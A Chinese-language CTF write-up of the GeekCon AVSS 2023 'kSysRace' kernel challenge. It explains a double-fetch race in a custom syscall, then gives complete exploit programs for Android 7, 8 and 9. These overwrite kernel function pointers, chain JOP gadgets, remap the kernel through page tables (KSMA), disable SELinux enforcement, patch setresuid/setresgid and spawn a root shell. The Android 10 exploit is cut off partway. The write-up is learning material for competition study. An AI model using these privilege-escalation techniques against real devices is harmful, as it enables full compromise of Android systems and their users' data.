GeekCon AVSS 2023 Qualifier - kSysRace

image-20230918184107056

附件:KV4.tar.gz

漏洞分析

漏洞点代码精简如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
asmlinkage long sys_race(void __user *userkey, char __user *buffer, unsigned long len, char __user *userhmac)
{
[...]
ret = get_user(ssize, &((struct mystruct *)userkey)->size);
[...]

if (ssize != 0x20 && ssize != 0x10) { // 第一次取值userkey->size,检查ssize需为0x20和0x10其中之一
printk(KERN_INFO "Invalid key size: 0x%x\\n", ssize);
return -1;
}
[...]
st = memdup_user(userkey, ssize + sizeof(size_t));

key_len = st->size; // 第二次取值userkey->size

if (key_len == 0x10) { // 第二次检查key_len,分别进入0x10和0x20两个分支处理
ret = handle_128(st->buffer, ssize, ptext, len, hmac);
} else if (key_len == 0x20) {
ret = handle_256(st->buffer, ssize, ptext, len, hmac);
} else {
printk(KERN_ERR "ERROR key_len\\n");
return -1;
}
[...]
return ret;
}

第一次和第二次取值之间,用户空间的userkey->size 可能被更改。于是构造ssize为0x20,而key_len为0x10的场景,进入 handle_128() 函数中处理,导致越界写内核函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
long handle_128(char *key, size_t keylen, unsigned char * ptext, unsigned long len, unsigned char *hmac) {
[...]
st128 = cryptoctx128_init(key, keylen); // key_len是0x20
rk = st128->funcs.cipherinit(128);
ret = st128->funcs.checkentropy(st128->key, st128->funcs.getbits(st128)/8); // 触发函数指针
[...]
for (i = 0; i < len; i+=8) {
st128->funcs.cipher(ptext + i, ptext + i, rk); // 触发函数指针
}
[...]
}

struct cryptoctx128 * cryptoctx128_init(char *key, size_t keylen) {
struct cryptoctx128 * st128 = kmalloc(sizeof(struct cryptoctx128), GFP_KERNEL);
[...]
st128->funcs.getbits = cryptoctx_getbits;
[...]
st128->funcs.cipher = IDEA_ecb_encrypt;
[...]
memcpy(st128->key, key, keylen); // key_len是0x20,越界写,写到了cryptoctx128->funcs中的函数指针getbits和cipher
return st128;
}

struct cryptoctx128 {
size_t bits;
char roundkey[0x80];
char key[0x10]; // 只有0x10大小
struct cryptofuncs funcs;
};

struct cryptofuncs {
size_t (*getbits)(void * p);
void (*cipher)(uint8_t *in, uint8_t *out, uint8_t *w); // 前面两个可能被覆盖
uint8_t *(*cipherinit)(size_t key_size);
void (*cipherfini)(uint8_t *w);
int (*checkentropy)(uint8_t *key, size_t len);
void (*key_expansion)(uint8_t *key, uint8_t *w);
long (*hmac)(unsigned char * message, size_t message_len, unsigned char *hmac);
size_t (*fini)(void * p);
};

题目提示中给了触发poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>


struct mystruct {
size_t size;
char buffer[0];
};

static unsigned int try_num = 1000;
static unsigned int dest_num = 0x20;
static unsigned int evil_value = 0x10;

int trigger_ready = 0;
int flipping_ready = 0;
int finish = 0;
unsigned int interval = 0;

void flipping_thread(struct mystruct * st1)
{
while(!finish) {
flipping_ready = 1;/* tell the trigger thread that the flipping thread is ready */

while(!trigger_ready) {}/* waiting for the trigger thread ready */
usleep(interval);
st1->size = evil_value;
interval+=10;
if(interval > 1000)
interval = 0;

flipping_ready = 0;
}

}


#define buffersize 0x10000

unsigned long seed = 1;
const unsigned long A = 1103515245;
const unsigned long C = 12345;
const unsigned long M = 2147483648;
unsigned long nextRandom() {
seed = (A * seed + C) % M;
return seed;
}

int main(int argc, char *argv[]){
pthread_t t1;
int i;

int digestsize = 0x100;
struct mystruct * st = malloc(sizeof(struct mystruct) + 0x20);
// memset(st, 0xAA, sizeof(struct mystruct) + 0x20);
for (int i=0; i < sizeof(struct mystruct) + 0x20; i++) {
*((unsigned char *)st + i) = (unsigned char)nextRandom();
}

char * buff = malloc(buffersize);
char * digest = malloc(digestsize);

st->size = dest_num;

memset(buff, 0, buffersize);
memset(digest, 0, digestsize);

pthread_create(&t1, NULL, flipping_thread, st);

for (i = 0; i < try_num; i++) {

while(!flipping_ready){} /* Wait for the flipping thread ready */
// memcpy(buff, payload, sizeof(payload));
printf("Try for the %d time\n", i);
trigger_ready = 1; /* Tell the flipping thread that the trigger thread is ready*/
int ret = syscall(604, st, buff, buffersize, digest);
if (ret < 0)
printf("Execute syscall failed.\n");

/* reset the values for the next try */
trigger_ready = 0;
st->size = dest_num;

}

finish = 1;

pthread_join(t1, NULL);


return 0;
}

漏洞利用

控制流劫持有两个点:

1
2
3
4
5
6
7
8
9
10
11
long handle_128(char *key, size_t keylen, unsigned char * ptext, unsigned long len, unsigned char *hmac) {
[...]
st128 = cryptoctx128_init(key, keylen); // key_len是0x20
rk = st128->funcs.cipherinit(128);
ret = st128->funcs.checkentropy(st128->key, st128->funcs.getbits(st128)/8); // 点1:触发函数指针getbits
[...]
for (i = 0; i < len; i+=8) {
st128->funcs.cipher(ptext + i, ptext + i, rk); // 点2:触发函数指针cipher
}
[...]
}

第二个点的ptext内容是用户态可控的,对于进一步利用更有帮助,所以选了这个点。

控制流劫持后,通过JOP达成一次任意地址写,可以想到最简便的方法是KSMA。

android 7

内核版本:linux 3.10.0

本题环境中未开启PAN,可以将部分JOP数据布置到用户态。找到三条gadget如下:

1
2
3
4
5
ldr x3, [x0, #0x18] ; mov x22, x2 ; ldr x20, [x0] ; ldr x23, [x0, #0x10] ; cbz x3, #0xffffffc0003a4c24 ; blr x3

ldr x2, [x0, #0x60] ; ldr x22, [x0, #0x70] ; cbz x2, #0xffffffc0001a8354 ; mov x0, x20 ; mov x1, x23 ; blr x2

str x23, [x22] ; ldr x3, [x20, #0x28] ; mov x0, x20 ; mov x1, x23 ; mov w2, w26 ; ldr x3, [x3, #0x30] ; blr x3

最后返回到 handle_128() 函数的返回代码 0xFFFFFFC0000C33A4 处。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>


#define SYS_race 604

struct mystruct {
size_t size;
char buffer[0];
};

static unsigned int try_num = 1000;
static unsigned int dest_num = 0x20;
static unsigned int evil_value = 0x10;

int trigger_ready = 0;
int flipping_ready = 0;
int finish = 0;
unsigned int interval = 0;

void flipping_thread(struct mystruct * st1)
{
while(!finish) {
flipping_ready = 1;/* tell the trigger thread that the flipping thread is ready */

while(!trigger_ready) {}/* waiting for the trigger thread ready */
usleep(interval);
st1->size = evil_value;
interval+=10;
if(interval > 1000)
interval = 0;

flipping_ready = 0;
}

}

#define buffersize 0x10000



unsigned long swapper_pg_dir = 0xFFFFFFC00007D000;
unsigned long d_block_addr = 0x0;
unsigned long d_block = 0x0;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("d_block_addr: 0x%lx + %d x 8 = 0x%lx\n", swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}

#define GADGET1 0xFFFFFFC0003A4BEC // ldr x3, [x0, #0x18] ; mov x22, x2 ; ldr x20, [x0] ; ldr x23, [x0, #0x10] ; cbz x3, #0xffffffc0003a4c24 ; blr x3
#define GADGET2 0xFFFFFFC0001A82B8 // ldr x2, [x0, #0x60] ; ldr x22, [x0, #0x70] ; cbz x2, #0xffffffc0001a8354 ; mov x0, x20 ; mov x1, x23 ; blr x2
#define GADGET3 0xffffffc000385d8c // str x23, [x22] ; ldr x3, [x20, #0x28] ; mov x0, x20 ; mov x1, x23 ; mov w2, w26 ; ldr x3, [x3, #0x30] ; blr x3
#define GADGET4 0xFFFFFFC0000C33A4 // handle_128() return

#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC000080000


int main(int argc, char *argv[]){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

void* user_addr = mmap((void*)0x40000000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if( user_addr == (void*)-1) err(1, "mmap() failed");
printf("mmap addr: 0x%lx\n", user_addr);

// mystruct
struct mystruct* st = malloc(sizeof(struct mystruct) + 0x20);
*((unsigned long*)st->buffer)=0xe3575ca28750bdec; // random
*(((unsigned long*)st->buffer)+1)=0x2355615aefbd6548; // random
*(((unsigned long*)st->buffer)+2)=0xFFFFFFC0000C3060; // cryptoctx_getbits() func
*(((unsigned long*)st->buffer)+3)=GADGET1; // hijack 1
st->size = dest_num;

int digestsize = 0x100;
char* buff = malloc(buffersize);
char* digest = malloc(digestsize);
memset(buff, 0, buffersize);
memset(digest, 0, digestsize);

// race
pthread_t t1;
pthread_create(&t1, NULL, flipping_thread, st);

for (int i = 0; i < try_num; i++) {

// gadget
*(unsigned long*)(buff)=user_addr; // gadget1: x20
*(unsigned long*)(buff+0x10)=d_block; // gadget1: x23(aaw value)
*(unsigned long*)(buff+0x18)=GADGET2; // gadget1: x3, hijack 2
*(unsigned long*)(buff+0x60)=GADGET3; // gadget2: x2, hijack 3
*(unsigned long*)(buff+0x70)=d_block_addr; // gadget2: x22(aaw address)
*(unsigned long*)(user_addr+0x28)=user_addr; // gadget3: x3
*(unsigned long*)(user_addr+0x30)=GADGET4; // gadget3: x3, hijack 4

while(!flipping_ready){} /* Wait for the flipping thread ready */
printf("Try for the %d time\n", i);
trigger_ready = 1; /* Tell the flipping thread that the trigger thread is ready*/
int ret = syscall(SYS_race, st, buff, buffersize, digest);
if (ret < 0)
printf("Execute syscall failed.\n");

/* reset the values for the next try */
trigger_ready = 0;
st->size = dest_num;
}

finish = 1;

pthread_join(t1, NULL);

// int ret = syscall(SYS_race, st, buff, buffersize, digest);
// if (ret < 0)
// printf("Execute syscall failed.\n");

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr = 0xFFFFFFC0006EFA0C;
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000ADF44;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x34;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC0000AE1BC;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x35;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);

setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

return 0;
}

android 8

内核版本:linux 3.18.94

本题环境中未开启PAN,利用方法同android 7,找到如下gadget:

1
2
3
ldr x3, [x0, #0x18] ; mov x22, x2 ; ldr x20, [x0] ; ldr x23, [x0, #0x10] ; cbz x3, #0xffffffc0004f0204 ; blr x3
ldr x2, [x0, #0x68] ; ldr x22, [x0, #0x78] ; cbz x2, #0xffffffc0001e3908 ; mov x0, x20 ; mov x1, x23 ; blr x2
str x20, [x23, #8] ; mov x1, x23 ; ldr x2, [x22, #8] ; blr x2

另外,为了提高race的成功率,对 flipping_thread() 函数做了更改。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>


#define SYS_race 604

struct mystruct {
volatile size_t size;
char buffer[0];
};

static unsigned int try_num = 1000;
static unsigned int dest_num = 0x20;
static unsigned int evil_value = 0x10;

int finish = 0;
#define TIME_GAP 100

void flipping_thread(struct mystruct * st1)
{
while(!finish) {
st1->size = dest_num;
usleep(TIME_GAP);
st1->size = evil_value;
usleep(TIME_GAP);
}

}

#define buffersize 0x10000

unsigned long swapper_pg_dir = 0xFFFFFFC000A09000;
unsigned long d_block_addr = 0x0;
unsigned long d_block = 0x0;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("d_block_addr: 0x%lx + %d x 8 = 0x%lx\n", swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}

#define GADGET1 0xffffffc0004f01cc // ldr x3, [x0, #0x18] ; mov x22, x2 ; ldr x20, [x0] ; ldr x23, [x0, #0x10] ; cbz x3, #0xffffffc0004f0204 ; blr x3
#define GADGET2 0xffffffc0001e3868 // ldr x2, [x0, #0x68] ; ldr x22, [x0, #0x78] ; cbz x2, #0xffffffc0001e3908 ; mov x0, x20 ; mov x1, x23 ; blr x2
#define GADGET3 0xffffffc000149d3c // str x20, [x23, #8] ; mov x1, x23 ; ldr x2, [x22, #8] ; blr x2
#define GADGET4 0xFFFFFFC0000BF1D4 // handle_128() return

#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC000080000

int main(int argc, char *argv[]){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

void* user_addr = mmap((void*)0x40000000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if( user_addr == (void*)-1) err(1, "mmap() failed");

// mystruct
struct mystruct* st = malloc(sizeof(struct mystruct) + 0x20);
*((unsigned long*)st->buffer)=0xe3575ca28750bdec; // random
*(((unsigned long*)st->buffer)+1)=0x2355615aefbd6548; // random
*(((unsigned long*)st->buffer)+2)=0xFFFFFFC0000BEE90; // cryptoctx_getbits() func
*(((unsigned long*)st->buffer)+3)=GADGET1; // hijack 1
st->size = dest_num;

int digestsize = 0x100;
char* buff = malloc(buffersize);
char* digest = malloc(digestsize);
memset(buff, 0, buffersize);
memset(digest, 0, digestsize);

// race
pthread_t t1;
pthread_create(&t1, NULL, flipping_thread, st);

for (int i = 0; i < try_num; i++) {

// gadget
*(unsigned long*)(buff)=d_block; // gadget1: x20(aaw value)
*(unsigned long*)(buff+0x10)=d_block_addr-0x8; // gadget1: x23(aaw address-0x8)
*(unsigned long*)(buff+0x18)=GADGET2; // gadget1: x3, hijack 2
*(unsigned long*)(buff+0x68)=GADGET3; // gadget2: x2, hijack 3
*(unsigned long*)(buff+0x78)=user_addr; // gadget2: x22
*(unsigned long*)(user_addr+0x8)=GADGET4; // gadget3: x2, hijack 4

printf("Try for the %d time\n", i);
int ret = syscall(SYS_race, st, buff, buffersize, digest);
if (ret < 0)
printf("Execute syscall failed.\n");
st->size = dest_num;
}

finish = 1;
pthread_join(t1, NULL);

// int ret = syscall(SYS_race, st, buff, buffersize, digest);
// if (ret < 0)
// printf("Execute syscall failed.\n");
// return 0;

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr = 0xFFFFFFC0009CB4A4;
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000AF650;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x34;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC0000AF8B0;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x35;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);

setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

return 0;
}

android 9

内核版本:linux 3.18.94

跟 android8 的利用相同,只需要改改gadget地址和一些函数的地址即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>


#define SYS_race 604

struct mystruct {
volatile size_t size;
char buffer[0];
};

static unsigned int try_num = 100;
static unsigned int dest_num = 0x20;
static unsigned int evil_value = 0x10;

int finish = 0;
#define TIME_GAP 100

void flipping_thread(struct mystruct * st1)
{
while(!finish) {
st1->size = dest_num;
usleep(TIME_GAP);
st1->size = evil_value;
usleep(TIME_GAP);
}

}

#define buffersize 0x10000

unsigned long swapper_pg_dir = 0xFFFFFFC000A09000;
unsigned long d_block_addr = 0x0;
unsigned long d_block = 0x0;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("d_block_addr: 0x%lx + %d x 8 = 0x%lx\n", swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}

#define GADGET1 0xffffffc0004efd90 // ldr x3, [x0, #0x18] ; mov x22, x2 ; ldr x20, [x0] ; ldr x23, [x0, #0x10] ; cbz x3, #0xffffffc0004efdc8 ; blr x3
#define GADGET2 0xffffffc0001e3474 // ldr x2, [x0, #0x68] ; ldr x22, [x0, #0x78] ; cbz x2, #0xffffffc0001e3514 ; mov x0, x20 ; mov x1, x23 ; blr x2
#define GADGET3 0xffffffc000149948 // str x20, [x23, #8] ; mov x1, x23 ; ldr x2, [x22, #8] ; blr x2
#define GADGET4 0xFFFFFFC0000BEDE4 // handle_128() return

#define IMAGE_PHYS_ADDR 0x40080000
#define RE_MAP_ADDR 0xFFFFFFC200000000
#define IMAGE_BASE 0xFFFFFFC000080000

int main(int argc, char *argv[]){
init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);

void* user_addr = mmap((void*)0x40000000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if( user_addr == (void*)-1) err(1, "mmap() failed");

// mystruct
struct mystruct* st = malloc(sizeof(struct mystruct) + 0x20);
*((unsigned long*)st->buffer)=0xe3575ca28750bdec; // random
*(((unsigned long*)st->buffer)+1)=0x2355615aefbd6548; // random
*(((unsigned long*)st->buffer)+2)=0xFFFFFFC0000BEAA0; // cryptoctx_getbits() func 0xFFFFFFC0000BEE90;
*(((unsigned long*)st->buffer)+3)=GADGET1; // hijack 1
st->size = dest_num;

int digestsize = 0x100;
char* buff = malloc(buffersize);
char* digest = malloc(digestsize);
memset(buff, 0, buffersize);
memset(digest, 0, digestsize);

// race
pthread_t t1;
pthread_create(&t1, NULL, flipping_thread, st);

for (int i = 0; i < try_num; i++) {

// gadget
*(unsigned long*)(buff)=d_block; // gadget1: x20(aaw value)
*(unsigned long*)(buff+0x10)=d_block_addr-0x8; // gadget1: x23(aaw address-0x8)
*(unsigned long*)(buff+0x18)=GADGET2; // gadget1: x3, hijack 2
*(unsigned long*)(buff+0x68)=GADGET3; // gadget2: x2, hijack 3
*(unsigned long*)(buff+0x78)=user_addr; // gadget2: x22
*(unsigned long*)(user_addr+0x8)=GADGET4; // gadget3: x2, hijack 4

printf("Try for the %d time\n", i);
int ret = syscall(SYS_race, st, buff, buffersize, digest);
if (ret < 0)
printf("Execute syscall failed.\n");
st->size = dest_num;
}

finish = 1;
pthread_join(t1, NULL);

// int ret = syscall(SYS_race, st, buff, buffersize, digest);
// if (ret < 0)
// printf("Execute syscall failed.\n");
// return 0;

// write kernel image
/* selinux_enforcing*/
unsigned long selinux_enforcing_addr = 0xFFFFFFC0009CB334;
unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE);
printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new);
*(int*)selinux_enforcing_addr_new = 0x0;

/* sys_setresuid*/
unsigned long setresuid_if_addr = 0xFFFFFFC0000AF260;
unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE);
*(char *)(setresuid_if_addr_new+3) = 0x34;
printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);

/* sys_setresgid*/
unsigned long setresgid_if_addr = 0xFFFFFFC0000AF4C0;
unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE);
*(char *)(setresgid_if_addr_new+3) = 0x35;
printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);

setresuid(0,0,0);
setresgid(0,0,0);

system("/system/bin/sh");

return 0;
}

android 10

内核版本:linux 4.14.175

该环境中开启了PAN,无法再使用用户态构造的数据。所以先前在android 7/8/9中需要访问用户态数据的gadget不能再使用了。

比较幸运的是,发现一条无需访问用户态数据即可完成一次任意地址写的gadget,如下:

1
0xffffff80084b9224 : ldr x8, [x0, #0xc8] ; ldr x9, [x0, #8] ; ldr x10, [x0, #0xe0] ; mov x29, sp ; str x9, [x8, #8] ; ldr x9, [x0] ; mov x0, x8 ; str x9, [x8] ; ldr x9, [x10, #0x30] ; blr x9

所以,总体利用思路同android 7/8/9,只是JOP所使用的gadget不同了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <linux/keyctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>


#define SYS_race 604

struct mystruct {
volatile size_t size;
char buffer[0];
};

static unsigned int try_num = 200;
static unsigned int dest_num = 0x20;
static unsigned int evil_value = 0x10;

int finish = 0;
#define TIME_GAP 100

void flipping_thread(struct mystruct * st1)
{
while(!finish) {
st1->size = dest_num;
usleep(TIME_GAP);
st1->size = evil_value;
usleep(TIME_GAP);
}

}

#define buffersize 0x10000

unsigned long swapper_pg_dir = 0xffffff8008f0c000;
unsigned long d_block_addr = 0x0;
unsigned long d_block = 0x0;

void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) {
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = swapper_pg_dir + index1 * 8; // target Table Descriptor Address
printf("d_block_addr: 0x%lx + %d x 8 = 0x%lx\n", swapper_pg_dir, index1, d_block_addr);

d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
printf("d_block = 0x%lx\n", d_block);
}

// #define GADGET1 0xffffffc0004efd90 // ldr x3, [x0, #0x18] ; mov x22, x2 ; ldr x20, [x0] ; ldr x23, [x0, #0x10] ; cbz x3, #0xffffffc0004efdc8 ; blr x3
// #define GADGET2 0xffffffc0001e3474 // ldr x2, [x0, #0x68] ; ldr x22, [x0, #0x78] ; cbz x2, #0xffffffc0001e3514 ; mov x0, x20 ; mov x1, x23 ; blr x2
